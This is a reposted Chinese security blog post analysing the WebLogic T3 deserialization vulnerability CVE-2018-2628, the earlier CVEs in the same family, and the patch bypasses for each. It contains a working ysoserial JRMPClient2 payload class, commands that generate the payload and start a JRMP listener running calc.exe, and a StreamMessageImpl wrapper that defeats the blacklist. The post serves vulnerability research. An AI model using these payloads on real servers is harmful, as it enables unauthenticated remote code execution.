漏洞分享WebLogic反序列化漏洞(CVE-2018-2628)漫谈
Posted 安钛信安
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞分享WebLogic反序列化漏洞(CVE-2018-2628)漫谈相关的知识,希望对你有一定的参考价值。
漏洞简介
2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。
漏洞影响
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
Weblogic 反序列化漏洞历程
这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。
CVE-2015-4852
2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。
但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。
CVE-2016-0638
Weblogic的反序列化的点有着三个,黑名单ClassFilter.class
也作用于这三个位置。
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
有人发现利用weblogic.jms.common.StreamMessageImpl
的 readExternal()
也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。
CVE-2016-3510
原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject
,然后再对 MarshalledObject
进行序列化,生成 payload 字节码。反序列化时 MarshalledObject
不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject
对象调用 readObject
时对 MarshalledObject
封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
CVE-2017-3248
Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister
,这将会序列化一个 RemoteObjectInvocationHandler
,该RemoteObjectInvocationHandler
使用UnicastRef
建立到远端的 TCP 连接获取RMI registry
。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
CVE-2018-2628 漏洞分析
首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class
多了一个resolveProxyClass
,这个resolveProxyClass
只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry
,是的话抛出错误。
仿照JRMPClient
写一个JRMPClient2
,重新编译。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); }}
生成 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2
可以对比以下JRMPClient
和JRMPClient2
生成的 payload。
除了 RMI 接口不一样,其他都是一样的。
JRMPLister
开启
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
我测试的 Weblogic 版本是10.3.6.0.170117
,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections
这个 payload 已经失效了。Weblogic 的commons-collections.jar
版本已经升级,所以我这里 payload 用的是Jdk7u21
(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar
版本没有升级的 Weblogic 中,使用CommonsCollections
这个 payload 是可以的。
使用 t3 协议脚本发送 p_client2,可以看到JRMPLister
有请求过来了,客户端命令也执行成功了。
作为对比,将JRMPClient
生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization
,正是黑名单拦截抛出的错误。
可见java.rmi.activation.Activator
是绕过了CVE-2017-3248的补丁了。
另外一种绕过补丁的方式
这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。
StreamMessageImpl
这个点在反序列化的时候没有resolveProxyClass
检查。所以可以使用StreamMessageImpl
将RemoteObjectInvocationHandler
序列化,以此来绕过resolveProxyClass
函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。
将JRMPClient
生成的 payloadObject 用StreamMessageImpl
封装生成新的 payload——p_stream。
public static Object streamMessageImpl(byte[]object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
使用脚本发送,可以看到,成功执行了命令。
CVE-2018-2628补丁分析
初步比对补丁(p27395085_1036_Generic),发现WeblogicFilterConfig.class
的黑名单多了一个sun.rmi.server.UnicastRef
。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。
总结
总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个!
*来自FreeBuf
*如有侵权,请联系我们删除
653994643
sectimes
以上是关于漏洞分享WebLogic反序列化漏洞(CVE-2018-2628)漫谈的主要内容,如果未能解决你的问题,请参考以下文章